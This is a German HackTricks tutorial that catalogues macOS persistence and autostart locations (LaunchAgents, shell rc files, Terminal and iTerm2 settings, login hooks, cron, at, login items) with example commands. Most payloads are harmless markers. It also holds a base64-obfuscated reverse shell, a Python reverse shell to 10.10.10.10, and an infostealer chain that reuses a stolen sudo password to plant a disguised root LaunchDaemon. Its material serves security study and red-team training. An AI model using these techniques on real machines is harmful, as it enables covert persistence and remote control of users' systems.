macOS Autostart
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Dieser Abschnitt basiert hauptsächlich auf der Blogserie Beyond the good ol’ LaunchAgents, das Ziel ist, mehr Autostart-Orte (falls möglich) hinzuzufügen, anzugeben, welche Techniken heutzutage mit der aktuellen macOS-Version (13.4) noch funktionieren und die benötigten Berechtigungen zu spezifizieren.
Sandbox Bypass
Tip
Hier findest du Startorte, die für sandbox bypass nützlich sind und es dir erlauben, etwas einfach auszuführen, indem du es in eine Datei schreibst und wartest auf eine sehr häufige Aktion, eine bestimmte Zeitspanne oder eine Aktion, die du üblicherweise aus einer Sandbox heraus ausführen kannst, ohne Root-Rechte zu benötigen.
Launchd
Locations
/Library/LaunchAgents- Auslöser: Neustart
- Root erforderlich
/Library/LaunchDaemons- Auslöser: Neustart
- Root erforderlich
/System/Library/LaunchAgents- Auslöser: Neustart
- Root erforderlich
/System/Library/LaunchDaemons- Auslöser: Neustart
- Root erforderlich
~/Library/LaunchAgents- Auslöser: Neu-Anmeldung
~/Library/LaunchDemons- Auslöser: Neu-Anmeldung
Tip
Als interessante Tatsache hat
launchdeine eingebettete Property List im Mach-O-Abschnitt__Text.__config, die andere bekannte Services enthält, die launchd starten muss. Darüber hinaus können diese Dienste die FlagsRequireSuccess,RequireRunundRebootOnSuccessenthalten, was bedeutet, dass sie ausgeführt werden und erfolgreich abgeschlossen werden müssen.Natürlich kann sie wegen code signing nicht modifiziert werden.
Beschreibung & Ausnutzung
launchd ist der erste Prozess, der vom OX S Kernel beim Start ausgeführt wird, und der letzte, der beim Herunterfahren beendet wird. Er sollte immer die PID 1 haben. Dieser Prozess wird die in den ASEP plists angegebenen Konfigurationen lesen und ausführen in:
/Library/LaunchAgents: Per-User Agents, die vom Administrator installiert wurden/Library/LaunchDaemons: Systemweite Daemons, die vom Administrator installiert wurden/System/Library/LaunchAgents: Per-User Agents, die von Apple bereitgestellt werden/System/Library/LaunchDaemons: Systemweite Daemons, die von Apple bereitgestellt werden
Wenn sich ein Benutzer anmeldet, werden die plists in /Users/$USER/Library/LaunchAgents und /Users/$USER/Library/LaunchDemons mit den Berechtigungen des angemeldeten Benutzers gestartet.
Der Hauptunterschied zwischen agents und daemons ist, dass agents geladen werden, wenn sich der Benutzer anmeldet, und daemons beim Systemstart geladen werden (da es Dienste wie ssh gibt, die vor jeglichem Benutzerzugriff auf das System ausgeführt werden müssen). Außerdem können agents eine GUI nutzen, während daemons im Hintergrund laufen müssen.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.someidentifier</string>
<key>ProgramArguments</key>
<array>
<string>bash -c 'touch /tmp/launched'</string> <!--Prog to execute-->
</array>
<key>RunAtLoad</key><true/> <!--Execute at system startup-->
<key>StartInterval</key>
<integer>800</integer> <!--Execute each 800s-->
<key>KeepAlive</key>
<dict>
<key>SuccessfulExit</key></false> <!--Re-execute if exit unsuccessful-->
<!--If previous is true, then re-execute in successful exit-->
</dict>
</dict>
</plist>
Es gibt Fälle, in denen ein Agent vor der Benutzeranmeldung ausgeführt werden muss, diese werden PreLoginAgents genannt. Zum Beispiel ist dies nützlich, um beim Login Assistive-Technologie bereitzustellen. Sie können auch in /Library/LaunchAgents gefunden werden (siehe here ein Beispiel).
Tip
Neue Daemons- oder Agents-Konfigurationsdateien werden nach dem nächsten Neustart oder durch
launchctl load <target.plist>geladen. Es ist auch möglich, .plist-Dateien ohne diese Erweiterung zu laden mitlaunchctl -F <file>(diese plist-Dateien werden jedoch nach einem Neustart nicht automatisch geladen).
Es ist auch möglich, mitlaunchctl unload <target.plist>zu entladen (der durch sie referenzierte Prozess wird beendet),Um sicherzustellen, dass nicht etwas (wie ein Override) verhindert, dass ein Agent oder Daemon läuft, führen Sie aus:
sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist
Alle Agents und Daemons auflisten, die vom aktuellen Benutzer geladen wurden:
launchctl list
Beispielhafte bösartige LaunchDaemon-Kette (Passwort-Wiederverwendung)
Ein aktueller macOS-Infostealer hat ein erbeutetes sudo-Passwort wiederverwendet, um einen User-Agent und einen root LaunchDaemon abzulegen:
- Schreibe die Agentenschleife nach
~/.agentund mache sie ausführbar. - Erzeuge eine plist in
/tmp/starter, die auf diesen Agenten zeigt. - Verwende das gestohlene Passwort erneut mit
sudo -S, um die plist nach/Library/LaunchDaemons/com.finder.helper.plistzu kopieren,root:wheelzu setzen und sie mitlaunchctl loadzu laden. - Starte den Agenten stillschweigend via
nohup ~/.agent >/dev/null 2>&1 &, um die Ausgabe zu entkoppeln.
printf '%s\n' "$pw" | sudo -S cp /tmp/starter /Library/LaunchDaemons/com.finder.helper.plist
printf '%s\n' "$pw" | sudo -S chown root:wheel /Library/LaunchDaemons/com.finder.helper.plist
printf '%s\n' "$pw" | sudo -S launchctl load /Library/LaunchDaemons/com.finder.helper.plist
nohup "$HOME/.agent" >/dev/null 2>&1 &
Warning
Wenn eine plist einem Benutzer gehört, selbst wenn sie in systemweiten daemon-Ordnern liegt, wird die Aufgabe als der Benutzer ausgeführt und nicht als root. Das kann einige Privilege-Escalation-Angriffe verhindern.
More info about launchd
launchd ist der erste User-Mode-Prozess, der vom Kernel gestartet wird. Der Prozessstart muss erfolgreich sein und er darf nicht exits oder crashen. Er ist sogar gegen einige Killing-Signale geschützt.
Eines der ersten Dinge, die launchd tut, ist das Starten aller daemons, wie zum Beispiel:
- Timer daemons basierend auf einer Ausführungszeit:
- atd (
com.apple.atrun.plist): Hat einStartIntervalvon 30min - crond (
com.apple.systemstats.daily.plist): HatStartCalendarInterval, um um 00:15 zu starten - Network daemons wie:
org.cups.cups-lpd: Lauscht auf TCP (SockType: stream) mitSockServiceName: printer- SockServiceName muss entweder ein Port oder ein Service aus
/etc/servicessein com.apple.xscertd.plist: Lauscht auf TCP Port 1640- Path daemons, die ausgeführt werden, wenn ein spezifizierter Pfad sich ändert:
com.apple.postfix.master: Überwacht den Pfad/etc/postfix/aliases- IOKit notifications daemons:
com.apple.xartstorageremoted:"com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...- Mach port:
com.apple.xscertd-helper.plist: Gibt imMachServices-Eintrag den Namencom.apple.xscertd.helperan- UserEventAgent:
- Das unterscheidet sich vom vorherigen. Es veranlasst launchd, Apps als Reaktion auf spezifische Events zu starten. In diesem Fall ist der Haupt-Binary nicht
launchd, sondern/usr/libexec/UserEventAgent. Er lädt Plugins aus dem SIP-restriktierten Ordner /System/Library/UserEventPlugins/, wobei jedes Plugin seinen Initialisierer imXPCEventModuleInitializer-Key angibt oder — im Fall älterer Plugins — imCFPluginFactories-Dict unter dem KeyFB86416D-6164-2070-726F-70735C216EC0seinerInfo.plist.
shell startup files
Writeup: https://theevilbit.github.io/beyond/beyond_0001/
Writeup (xterm): https://theevilbit.github.io/beyond/beyond_0018/
- Nützlich, um die Sandbox zu umgehen: ✅
- TCC Bypass: ✅
- Aber man muss eine App finden, die einen TCC bypass hat und eine Shell ausführt, die diese Dateien lädt
Locations
~/.zshrc,~/.zlogin,~/.zshenv.zwc,~/.zshenv,~/.zprofile- Trigger: Terminal mit zsh öffnen
/etc/zshenv,/etc/zprofile,/etc/zshrc,/etc/zlogin- Trigger: Terminal mit zsh öffnen
- Root erforderlich
~/.zlogout- Trigger: Terminal mit zsh beenden
/etc/zlogout- Trigger: Terminal mit zsh beenden
- Root erforderlich
- Möglicherweise mehr in:
man zsh ~/.bashrc- Trigger: Terminal mit bash öffnen
/etc/profile(funktionierte nicht)~/.profile(funktionierte nicht)~/.xinitrc,~/.xserverrc,/opt/X11/etc/X11/xinit/xinitrc.d/- Trigger: Erwartet, mit xterm ausgelöst zu werden, aber xterm ist nicht installiert und selbst nach der Installation wird folgender Fehler ausgegeben: xterm:
DISPLAY is not set
Description & Exploitation
Beim Starten einer Shell-Umgebung wie zsh oder bash werden bestimmte Startup-Dateien ausgeführt. macOS verwendet derzeit /bin/zsh als Standard-Shell. Diese Shell wird automatisch aufgerufen, wenn die Terminal-Anwendung gestartet wird oder wenn ein Gerät per SSH erreicht wird. Während bash und sh ebenfalls auf macOS vorhanden sind, müssen sie explizit aufgerufen werden, um verwendet zu werden.
Die Manpage von zsh, die man mit man zsh lesen kann, enthält eine ausführliche Beschreibung der Startup-Dateien.
# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc
Wieder geöffnete Anwendungen
Caution
Das Konfigurieren der beschriebenen exploitation sowie Aus- und wieder Einloggen oder sogar ein Neustart führten bei mir nicht dazu, dass die App ausgeführt wurde. (Die App wurde nicht gestartet; möglicherweise muss sie laufen, während diese Aktionen durchgeführt werden.)
Writeup: https://theevilbit.github.io/beyond/beyond_0021/
Speicherort
~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist- Auslöser: Neustart — Anwendungen werden wieder geöffnet
Beschreibung & Exploitation
Alle Anwendungen, die wieder geöffnet werden, befinden sich in der plist ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
Füge also beim Wiederöffnen deine eigene Anwendung hinzu — du musst deine App zur Liste hinzufügen.
Die UUID findet man, indem man dieses Verzeichnis auflistet oder mit ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'
Um die Anwendungen zu prüfen, die wieder geöffnet werden, kannst du Folgendes tun:
defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
Um eine Anwendung zu dieser Liste hinzuzufügen, können Sie Folgendes verwenden:
# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \
-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \
-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
Terminal-Einstellungen
- Nützlich zum Umgehen der Sandbox: ✅
- TCC-Bypass: ✅
- Terminal besitzt oft die FDA-Berechtigungen des Benutzers, wenn dieser es verwendet
Ort
~/Library/Preferences/com.apple.Terminal.plist- Auslöser: Terminal öffnen
Beschreibung & Ausnutzung
In ~/Library/Preferences werden die Präferenzen des Benutzers für Anwendungen gespeichert. Einige dieser Präferenzen können eine Konfiguration enthalten, um andere Anwendungen/Skripte auszuführen.
Zum Beispiel kann Terminal beim Start einen Befehl ausführen:
.png)
Diese Konfiguration spiegelt sich in der Datei ~/Library/Preferences/com.apple.Terminal.plist wie folgt wider:
[...]
"Window Settings" => {
"Basic" => {
"CommandString" => "touch /tmp/terminal_pwn"
"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf }
"FontAntialias" => 1
"FontWidthSpacing" => 1.004032258064516
"name" => "Basic"
"ProfileCurrentVersion" => 2.07
"RunCommandAsShell" => 0
"type" => "Window Settings"
}
[...]
Wenn die plist der Einstellungen des terminal im System überschrieben werden könnte, kann die open-Funktionalität verwendet werden, um das terminal zu öffnen und der Befehl wird ausgeführt.
Du kannst das von der cli aus hinzufügen mit:
# Add
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist
# Remove
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist
Terminal-Skripte / Andere Dateierweiterungen
- Nützlich zum Umgehen der Sandbox: ✅
- TCC bypass: ✅
- Terminal verwendet die FDA-Berechtigungen des Benutzers, der es benutzt
Location
- Überall
- Auslöser: Terminal öffnen
Description & Exploitation
If you create a .terminal script and opens, the Terminal application will be automatically invoked to execute the commands indicated in there. If the Terminal app has some special privileges (such as TCC), your command will be run with those special privileges.
Probiere es mit:
# Prepare the payload
cat > /tmp/test.terminal << EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CommandString</key>
<string>mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>
EOF
# Trigger it
open /tmp/test.terminal
# Use something like the following for a reverse shell:
<string>echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;</string>
Sie können auch die Erweiterungen .command, .tool mit normalen Shell-Skript-Inhalten verwenden; diese werden ebenfalls von Terminal geöffnet.
Caution
Wenn Terminal Full Disk Access hat, kann es diese Aktion ausführen (beachte, dass der ausgeführte Befehl in einem Terminalfenster sichtbar sein wird).
Audio-Plugins
Writeup: https://theevilbit.github.io/beyond/beyond_0013/
Writeup: https://posts.specterops.io/audio-unit-plug-ins-896d3434a882
Ort
/Library/Audio/Plug-Ins/HAL- Root erforderlich
- Auslöser: Restart coreaudiod or the computer
/Library/Audio/Plug-ins/Components- Root erforderlich
- Auslöser: Restart coreaudiod or the computer
~/Library/Audio/Plug-ins/Components- Auslöser: Restart coreaudiod or the computer
/System/Library/Components- Root erforderlich
- Auslöser: Restart coreaudiod or the computer
Beschreibung
Laut den vorherigen Writeups ist es möglich, einige Audio-Plugins zu kompilieren und laden zu lassen.
QuickLook-Plugins
Writeup: https://theevilbit.github.io/beyond/beyond_0028/
Ort
/System/Library/QuickLook/Library/QuickLook~/Library/QuickLook/Applications/AppNameHere/Contents/Library/QuickLook/~/Applications/AppNameHere/Contents/Library/QuickLook/
Beschreibung & Exploitation
QuickLook-Plugins können ausgeführt werden, wenn Sie die Vorschau einer Datei auslösen (Leertaste drücken, während die Datei im Finder ausgewählt ist) und ein Plugin, das diesen Dateityp unterstützt, installiert ist.
Es ist möglich, ein eigenes QuickLook-Plugin zu kompilieren, es in einen der oben genannten Orte zu legen, sodass es geladen wird, und dann zu einer unterstützten Datei zu gehen und die Leertaste zu drücken, um es auszulösen.
Login/Logout Hooks
Caution
Das hat bei mir nicht funktioniert, weder mit dem Benutzer LoginHook noch mit dem root LogoutHook
Writeup: https://theevilbit.github.io/beyond/beyond_0022/
Ort
- Sie müssen in der Lage sein, etwas auszuführen wie
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh Located in~/Library/Preferences/com.apple.loginwindow.plist
Sie sind veraltet, können aber verwendet werden, um Befehle auszuführen, wenn sich ein Benutzer anmeldet.
cat > $HOME/hook.sh << EOF
#!/bin/bash
echo 'My is: \`id\`' > /tmp/login_id.txt
EOF
chmod +x $HOME/hook.sh
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh
Diese Einstellung wird in /Users/$USER/Library/Preferences/com.apple.loginwindow.plist gespeichert.
defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
{
LoginHook = "/Users/username/hook.sh";
LogoutHook = "/Users/username/hook.sh";
MiniBuddyLaunch = 0;
TALLogoutReason = "Shut Down";
TALLogoutSavesState = 0;
oneTimeSSMigrationComplete = 1;
}
Um es zu löschen:
defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook
Die für den root-Benutzer gespeicherte Datei befindet sich in /private/var/root/Library/Preferences/com.apple.loginwindow.plist
Conditional Sandbox Bypass
Tip
Hier findest du Startpfade, die für sandbox bypass nützlich sind und es erlauben, etwas einfach auszuführen, indem du es in eine Datei schreibst und auf nicht sehr häufige Bedingungen wie bestimmte installierte Programme, “ungewöhnliche” Benutzeraktionen oder Umgebungen wartest.
Cron
Writeup: https://theevilbit.github.io/beyond/beyond_0004/
- Nützlich für sandbox bypass: ✅
- Allerdings musst du das
crontab-Binary ausführen können - Oder root sein
- TCC bypass: 🔴
Speicherorte
/usr/lib/cron/tabs/,/private/var/at/tabs,/private/var/at/jobs,/etc/periodic/- Root erforderlich für direkten Schreibzugriff. Kein Root erforderlich, wenn du
crontab <file>ausführen kannst - Trigger: Hängt vom cron-Job ab
Beschreibung & Exploitation
Liste die cron-Jobs des aktuellen Benutzers mit:
crontab -l
Sie können außerdem alle Cron-Jobs der Benutzer in /usr/lib/cron/tabs/ und /var/at/tabs/ sehen (erfordert Root).
In MacOS können mehrere Ordner, die Skripte mit bestimmter Häufigkeit ausführen, gefunden werden:
# The one with the cron jobs is /usr/lib/cron/tabs/
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
Dort findest du die regulären cron jobs, die at jobs (nicht sehr verbreitet) und die periodic jobs (hauptsächlich zum Bereinigen temporärer Dateien). Die täglich ausgeführten periodic-Jobs können zum Beispiel mit: periodic daily ausgeführt werden.
Um einen user cronjob programatically hinzuzufügen, kannst du Folgendes verwenden:
echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron
iTerm2
Writeup: https://theevilbit.github.io/beyond/beyond_0002/
Standorte
~/Library/Application Support/iTerm2/Scripts/AutoLaunch- Auslöser: iTerm öffnen
~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt- Auslöser: iTerm öffnen
~/Library/Preferences/com.googlecode.iterm2.plist- Auslöser: iTerm öffnen
Beschreibung & Exploitation
Skripte, die in ~/Library/Application Support/iTerm2/Scripts/AutoLaunch gespeichert sind, werden ausgeführt. Zum Beispiel:
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF
#!/bin/bash
touch /tmp/iterm2-autolaunch
EOF
chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
oder:
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
#!/usr/bin/env python3
import iterm2,socket,subprocess,os
async def main(connection):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']);
async with iterm2.CustomControlSequenceMonitor(
connection, "shared-secret", r'^create-window$') as mon:
while True:
match = await mon.async_get()
await iterm2.Window.async_create(connection)
iterm2.run_forever(main)
EOF
Das Skript ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt wird ebenfalls ausgeführt:
do shell script "touch /tmp/iterm2-autolaunchscpt"
Die iTerm2-Voreinstellungen in ~/Library/Preferences/com.googlecode.iterm2.plist können einen auszuführenden Befehl angeben, wenn das iTerm2-Terminal geöffnet wird.
Diese Einstellung kann in den iTerm2-Einstellungen konfiguriert werden:
.png)
Und der Befehl wird in den Voreinstellungen angezeigt:
plutil -p com.googlecode.iterm2.plist
{
[...]
"New Bookmarks" => [
0 => {
[...]
"Initial Text" => "touch /tmp/iterm-start-command"
Sie können den auszuführenden Befehl festlegen mit:
# Add
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist
# Call iTerm
open /Applications/iTerm.app/Contents/MacOS/iTerm2
# Remove
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist
Warning
Es ist sehr wahrscheinlich, dass es weitere Möglichkeiten gibt, die iTerm2-Preferences zu missbrauchen, um beliebige Befehle auszuführen.
xbar
Writeup: https://theevilbit.github.io/beyond/beyond_0007/
- Nützlich, um die sandbox zu umgehen: ✅
- Aber xbar muss installiert sein
- TCC bypass: ✅
- Es verlangt Accessibility-Berechtigungen
Location
~/Library/Application\ Support/xbar/plugins/- Trigger: Sobald xbar ausgeführt wird
Description
Wenn das populäre Programm xbar installiert ist, ist es möglich, ein shell script in ~/Library/Application\ Support/xbar/plugins/ zu schreiben, das ausgeführt wird, wenn xbar gestartet wird:
cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
#!/bin/bash
touch /tmp/xbar
EOF
chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
Hammerspoon
Writeup: https://theevilbit.github.io/beyond/beyond_0008/
- Nützlich, um die Sandbox zu umgehen: ✅
- Aber Hammerspoon muss installiert sein
- TCC-Bypass: ✅
- Es fordert Accessibility-Berechtigungen an
Speicherort
~/.hammerspoon/init.lua- Auslöser: Sobald hammerspoon ausgeführt wird
Beschreibung
Hammerspoon dient als Automatisierungsplattform für macOS und nutzt die LUA-Skriptsprache für seine Abläufe. Bemerkenswert ist die Unterstützung zur Integration von vollständigem AppleScript-Code und zur Ausführung von Shell-Skripten, was die Skripting-Fähigkeiten deutlich erweitert.
Die App sucht nach einer einzelnen Datei, ~/.hammerspoon/init.lua, und beim Start wird das Skript ausgeführt.
mkdir -p "$HOME/.hammerspoon"
cat > "$HOME/.hammerspoon/init.lua" << EOF
hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2")
EOF
BetterTouchTool
- Nützlich, um sandbox zu umgehen: ✅
- Aber BetterTouchTool muss installiert sein
- TCC bypass: ✅
- Es fordert Automation-Shortcuts und Accessibility-Berechtigungen an
Location
~/Library/Application Support/BetterTouchTool/*
Dieses Tool erlaubt anzugeben, welche Anwendungen oder Skripte ausgeführt werden sollen, wenn bestimmte Shortcuts gedrückt werden. Ein Angreifer könnte in der Lage sein, seinen eigenen Shortcut und die auszuführende Aktion in der Datenbank zu konfigurieren, um beliebigen Code auszuführen (ein Shortcut könnte z. B. einfach das Drücken einer Taste sein).
Alfred
- Nützlich, um sandbox zu umgehen: ✅
- Aber Alfred muss installiert sein
- TCC bypass: ✅
- Es fordert Automation, Accessibility und sogar Full-Disk access-Berechtigungen an
Location
???
Es ermöglicht das Erstellen von Workflows, die Code ausführen können, wenn bestimmte Bedingungen erfüllt sind. Möglicherweise kann ein Angreifer eine Workflow-Datei erstellen und Alfred dazu bringen, sie zu laden (für Workflows ist die Premium-Version erforderlich).
SSHRC
Writeup: https://theevilbit.github.io/beyond/beyond_0006/
- Nützlich, um sandbox zu umgehen: ✅
- Aber ssh muss aktiviert und verwendet werden
- TCC bypass: ✅
- SSH hatte früher Full-Disk access
Location
~/.ssh/rc- Trigger: Anmeldung via ssh
/etc/ssh/sshrc- Root erforderlich
- Trigger: Anmeldung via ssh
Caution
To turn ssh on requres Full Disk Access:
sudo systemsetup -setremotelogin on
Description & Exploitation
Standardmäßig, sofern nicht PermitUserRC no in /etc/ssh/sshd_config gesetzt ist, werden beim Login eines Nutzers via SSH die Skripte /etc/ssh/sshrc und ~/.ssh/rc ausgeführt.
Login Items
Writeup: https://theevilbit.github.io/beyond/beyond_0003/
Locations
~/Library/Application Support/com.apple.backgroundtaskmanagementagent- Trigger: Anmeldung
- Exploit-Payload gespeichert; ruft
osascriptauf /var/db/com.apple.xpc.launchd/loginitems.501.plist- Trigger: Anmeldung
- Root erforderlich
Description
In Systemeinstellungen -> Benutzer & Gruppen -> Anmeldeobjekte finden Sie Elemente, die beim Anmelden des Benutzers ausgeführt werden.
Es ist möglich, diese über die Kommandozeile aufzulisten, hinzuzufügen und zu entfernen:
#List all items:
osascript -e 'tell application "System Events" to get the name of every login item'
#Add an item:
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/itemname", hidden:false}'
#Remove an item:
osascript -e 'tell application "System Events" to delete login item "itemname"'
Diese Einträge werden in der Datei ~/Library/Application Support/com.apple.backgroundtaskmanagementagent gespeichert
Login-Objekte können auch über die API SMLoginItemSetEnabled angegeben werden, die die Konfiguration in /var/db/com.apple.xpc.launchd/loginitems.501.plist speichert
ZIP als Login-Objekt
(Siehe vorheriger Abschnitt über Login-Objekte, dies ist eine Erweiterung)
Wenn Sie eine ZIP-Datei als Login-Objekt speichern, wird das Archive Utility sie öffnen. Wenn die ZIP-Datei z. B. in ~/Library gespeichert war und den Ordner LaunchAgents/file.plist mit einer backdoor enthielt, wird dieser Ordner erstellt (er existiert nicht standardmäßig) und die plist wird hinzugefügt, sodass beim nächsten Login des Benutzers die in der plist angegebene backdoor ausgeführt wird.
Eine weitere Möglichkeit wäre, die Dateien .bash_profile und .zshenv im HOME des Benutzers zu erstellen. Falls der Ordner LaunchAgents bereits existiert, würde diese Technik trotzdem funktionieren.
At
Writeup: https://theevilbit.github.io/beyond/beyond_0014/
- Nützlich, um sandbox zu bypassen: ✅
- Aber Sie müssen
atausführen und es muss aktiviert sein - TCC bypass: 🔴
Speicherort
- Sie müssen
atausführen und es muss aktiviert sein
Beschreibung
at-Tasks sind dafür gedacht, einmalige Aufgaben zu festgelegten Zeiten auszuführen. Im Gegensatz zu cron jobs werden at-Tasks nach der Ausführung automatisch entfernt. Es ist wichtig zu beachten, dass diese Aufgaben Neustarts des Systems überdauern, wodurch sie unter bestimmten Bedingungen potenzielle Sicherheitsbedenken darstellen.
Standardmäßig sind sie deaktiviert, aber der Benutzer root kann sie mit folgendem Befehl aktivieren:
sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist
Damit wird in einer Stunde eine Datei erstellt:
echo "echo 11 > /tmp/at.txt" | at now+1
Prüfe die Job-Warteschlange mit atq:
sh-3.2# atq
26 Tue Apr 27 00:46:00 2021
22 Wed Apr 28 00:29:00 2021
Oben sehen wir zwei geplante Jobs. Wir können die Details des Jobs mit at -c JOBNUMBER anzeigen.
sh-3.2# at -c 26
#!/bin/sh
# atrun uid=0 gid=0
# mail csaby 0
umask 22
SHELL=/bin/sh; export SHELL
TERM=xterm-256color; export TERM
USER=root; export USER
SUDO_USER=csaby; export SUDO_USER
SUDO_UID=501; export SUDO_UID
SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.co51iLHIjf/Listeners; export SSH_AUTH_SOCK
__CF_USER_TEXT_ENCODING=0x0:0:0; export __CF_USER_TEXT_ENCODING
MAIL=/var/mail/root; export MAIL
PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin; export PATH
PWD=/Users/csaby; export PWD
SHLVL=1; export SHLVL
SUDO_COMMAND=/usr/bin/su; export SUDO_COMMAND
HOME=/var/root; export HOME
LOGNAME=root; export LOGNAME
LC_CTYPE=UTF-8; export LC_CTYPE
SUDO_GID=20; export SUDO_GID
_=/usr/bin/at; export _
cd /Users/csaby || {
echo 'Execution directory inaccessible' >&2
exit 1
}
unset OLDPWD
echo 11 > /tmp/at.txt
Warning
Wenn AT tasks nicht aktiviert sind, werden die erstellten Aufgaben nicht ausgeführt.
Die Job-Dateien befinden sich unter /private/var/at/jobs/
sh-3.2# ls -l /private/var/at/jobs/
total 32
-rw-r--r-- 1 root wheel 6 Apr 27 00:46 .SEQ
-rw------- 1 root wheel 0 Apr 26 23:17 .lockfile
-r-------- 1 root wheel 803 Apr 27 00:46 a00019019bdcd2
-rwx------ 1 root wheel 803 Apr 27 00:46 a0001a019bdcd2
Der Dateiname enthält die Warteschlange, die Jobnummer und die Zeit, zu der er ausgeführt werden soll. Zum Beispiel schauen wir uns a0001a019bdcd2 an.
a- das ist die Warteschlange0001a- Jobnummer in Hex,0x1a = 26019bdcd2- Zeit in Hex. Sie stellt die seit Epoch vergangenen Minuten dar.0x019bdcd2ist26991826im Dezimal. Wenn wir es mit 60 multiplizieren, erhalten wir1619509560, was GMT: 2021. April 27., Dienstag 7:46:00 entspricht.
Wenn wir die Job-Datei ausgeben, stellen wir fest, dass sie dieselben Informationen enthält, die wir mit at -c erhalten haben.
Folder Actions
Writeup: https://theevilbit.github.io/beyond/beyond_0024/
Writeup: https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d
- Useful to bypass sandbox: ✅
- But you need to be able to call
osascriptwith arguments to contactSystem Eventsto be able to configure Folder Actions - TCC bypass: 🟠
- It has some basic TCC permissions like Desktop, Documents and Downloads
Speicherort
/Library/Scripts/Folder Action Scripts- Root-Rechte erforderlich
- Auslöser: Zugriff auf den angegebenen Ordner
~/Library/Scripts/Folder Action Scripts- Auslöser: Zugriff auf den angegebenen Ordner
Beschreibung & Exploitation
Folder Actions sind Skripte, die automatisch durch Änderungen in einem Ordner ausgelöst werden, wie z. B. Hinzufügen oder Entfernen von Elementen oder andere Aktionen wie das Öffnen oder Ändern der Größe des Ordnerfensters. Diese Aktionen können für verschiedene Aufgaben genutzt werden und können auf unterschiedliche Weise ausgelöst werden, z. B. über die Finder-UI oder Terminal-Befehle.
Zum Einrichten von Folder Actions gibt es folgende Optionen:
- Erstellen eines Folder Action-Workflows mit Automator und als Service installieren.
- Ein Skript manuell über Folder Actions Setup im Kontextmenü eines Ordners anhängen.
